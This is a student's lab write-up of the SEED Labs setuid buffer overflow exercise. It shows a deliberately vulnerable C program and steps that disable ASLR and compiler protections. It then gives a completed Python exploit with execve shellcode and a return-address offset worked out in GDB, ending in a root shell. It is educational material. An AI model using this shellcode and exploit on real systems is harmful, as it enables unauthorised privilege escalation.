Buffer Overflow SetUID

Introduction

The referenced code for this lab and its tasks can be found at: https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/.

To disable address space randomization, a kernel countermeasure that makes this attack more challenging, we need to execute the following command:

sudo sysctl -w kernel.randomize_va_space=0

For the purpose of the demo, we need to symlink /bin/sh to zsh. The countermeasure implemented in dash does not respect euid if it differs from uid, so this change is necessary. First, we should check the current symlink to ensure we can restore it later:

file /bin/sh

Next, we can create the new symlink:

sudo ln -sf /bin/zsh /bin/sh

Task 1: Shellcode Familiarization

To acquire a solid understanding of shellcode, it is highly recommended to engage in the SEED ShellCode Lab.

Task 1a - Executing the Shellcode

To execute the shellcode, follow these steps in the lab which compiles the call_shellcode.c:

  • Locate the compiled version of the shellcode in the “shellcode” folder. The file is named shellcode.c.

  • Run the make command to generate an executable in the same folder.

  • After executing the above command, you will obtain two files:

    • a. a32.out: Running this file will drop you into a shell. To confirm the shell type, run the command echo $0. You will observe that the shell is /bin//sh.

    • b. a64.out: This file behaves similarly to the previous one. Execute it to enter another shell instance. Again, confirm the shell type by running echo $0.

In both cases, the newly created shell instances will have distinct process IDs (pid) and will run under the same user as the one you are currently logged in as.

call_shellcode.c Source Code
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0) 
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}

Task 2 - Understanding

The vulnerable source code for this lab is named stack.c.

stack.c Source Code
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
void dummy_function(char *str);
int bof(char *str)
{
    char buffer[BUF_SIZE];
    // The following statement has a buffer overflow problem 
    strcpy(buffer, str);       
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r"); 
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }
    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
// This function is used to insert a stack frame of size 
// 1000 (approximately) between main's and bof's stack frames. 
// The function itself does not do anything. 
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

The stack.c program has a buffer overflow vulnerability. It reads input from a file called badfile and copies it into another buffer in the bof function. The buffer in bof has a size of BUF_SIZE which is set to 100 bytes.

This program is owned by the root user, which may need to be changed. It is a set-uid program, which means if we can exploit the buffer overflow vulnerability, we can execute code with root privileges, such as spawning a shell. Since the input is controlled by the user, we can craft a payload to exploit this vulnerability.

To compile the program, use the following command:

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c

This command disables two additional safeguards against buffer overflows. After compilation, fix the permissions by executing:

sudo chown root stack
sudo chmod 4755 stack

These commands make it a set-uid program.

Using make compiles four different versions of the program with varying buffer lengths. In some cases, the automated chown and chroot may fail, so manual execution is required for each version.

If you are working on a file share, you may need to switch to the server to perform the proper chroot and chown commands.

Now, we can test one of the programs as follows:

echo test > badfile
./stack-L1

Task 3 - Attacking 32-bit

To prepare an empty badfile, follow these commands:

rm badfile
touch badfile

GDB Analysis

Next, use gdb to debug the stack by executing the following steps:

gdb stack-L1-dbg
b bof # 0x120e
next
p $ebp # 0xffffc7e8
p &buffer # [100] 0xffffc77c

To gain a better understanding of the stack, I repeated the process for all named variables and functions in stack.c and analyzed the results. The ebp register contains the previous frame buffer or the top of the stack for the function.

Func / Var Stack position Gap from previous
char argv 0xffffce44 -
int argc 0xffffce40 4
ebp main() 0xffffce28 24
str[517] 0xffffcc13 533
ebp dummy_function() 0xffffcbf8 27
dummy_buffer[1000] 0xffffc808 1008
ebp bof() 0xffffc7e8 32
buffer[100] 0xffffc77c 108

Strcpy()

From the C code we can see that it’s making a call strcpy function. Research on call tells us it pushes the return address on the stack, before moving the instruction pointer onto the new function. This means that the last entry on the stack for the bof() function will be the return address before strcpy() runs our payload.

The provided script to generate our payload exploit.py needs several fields filling in. To decide them, we’ll consider how the stack will look after the exploit has been carried out so we know the neccesary values. The payload size it generates is 517.

exploit.py source code
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x90\x90\x90\x90"  
  "\x90\x90\x90\x90"  
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 0               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x00           # Change this number 
offset = 0              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

After the execution of strcopy() to address the buffer exploit, the stack will be modified as shown in the diagram below. The payload will overwrite the return address, which is where the processor will look to to find where in memory it needs to return to after it has read the buffer array.

Since we can overwritte the memory address with a different address that we have inserted, we can manipulate the program to execute from the stack (since we disabled the protection), specifically the section that holds our injected payload.

This stack manipulation provides us with an opportunity to execute arbitrary code and gain control over the program’s execution flow.

Creating the payload

flowchart TD 1(["Payload [517:490] Shell Code"]) 2(["Payload [489:117] NOP 0x90"]) 3(["Payload [112:116] Return Address"]) 4(["Payload [0:111] NOP 0x90"]) 1 --- 2 --- 3 --- 4

We have four variables to calculate to generate the payload:

  1. The first cariable is selecting the shellcode. We have been provided with a suitable payload to take advantage of suid programs in Task 1a. We just need to select the shellcode for the 32 bit variant, which is:

    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
    
  2. We need to decide where this paylaod will sit in the payload. Since it can go anywhere after the return address I’ll position the payload at the very end of the exploit. The byte length of the paylaod is 27, and our paylaod in its entirity is 517, so 517-27=490

  3. The return address needs to point to the shellcode, so simply the buffer address + 490.

  4. The offset for the return address needs to align correctly to overwrite the return address written by the call. We can position this to land anywhere above where the return address is located, as the processor will continue up the stack interpreting the 0x90's as a skip. For demonstration, I’ll choose it to land directly above where the address is located, at offset buffer + 116

Inputting this math into exploit.py gives us the modified code. Wehn we run exploit.py, it creates the shellcode adn writes it to badfile ready to be run through the program.

Modified exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number 
print("start:", start)
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload

buff = 0xffffc77c
ebp = 0xffffc7e8

ret    = buff + 116  # Change this number
print ("return: ", ret)
offset = ebp - buff + 4              # Change this number 
print("offset: ", offset)

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

We can confirm this works by running the program with gdb:

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/share/SEEDlabs/buffer-overflow-setuid/Labsetup/code/stack-L1-dbg 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input size: 517
process 163860 is executing new program: /usr/bin/zsh
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ echo $0
/bin//sh

However when we try and run the program on its own, it doesn’t.

┌──(kali㉿kali)-[~/…/SEEDlabs/buffer-overflow-setuid/Labsetup/code]
└─$ ./stack-L1-dbg
Input size: 517
zsh: segmentation fault  ./stack-L1-dbg

This is because the values in memory we’ve been working from are from GDB. GDB has pushed its own entries to the stack above the programs entries, therefore the addressees we have extracted from gdb have been inaccurate nd larger than when running the program naively.

We can accommodate this uncertainty by adjusting the return address. It can sit anywhere between an offset from the buffer of 116 to 490, and since we understand the higher the number the better to accommodate for gdb’s offset, we can set it to 490.

Regernating the badfile, and re-running the program now she it works as expected natively, and in gdb. When ran antivly, we can observe the setUID has worked to grant us a root shell.

┌──(kali㉿kali)-[~/…/SEEDlabs/buffer-overflow-setuid/Labsetup/code]
└─$ ./stack-L1-dbg
Input size: 517
# echo $0
/bin//sh
# whoami
root
# id -a        
uid=1000(kali) gid=1000(kali) euid=0(root) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),109(netdev),120(wireshark),123(bluetooth),140(scanner),144(kaboxer)
Next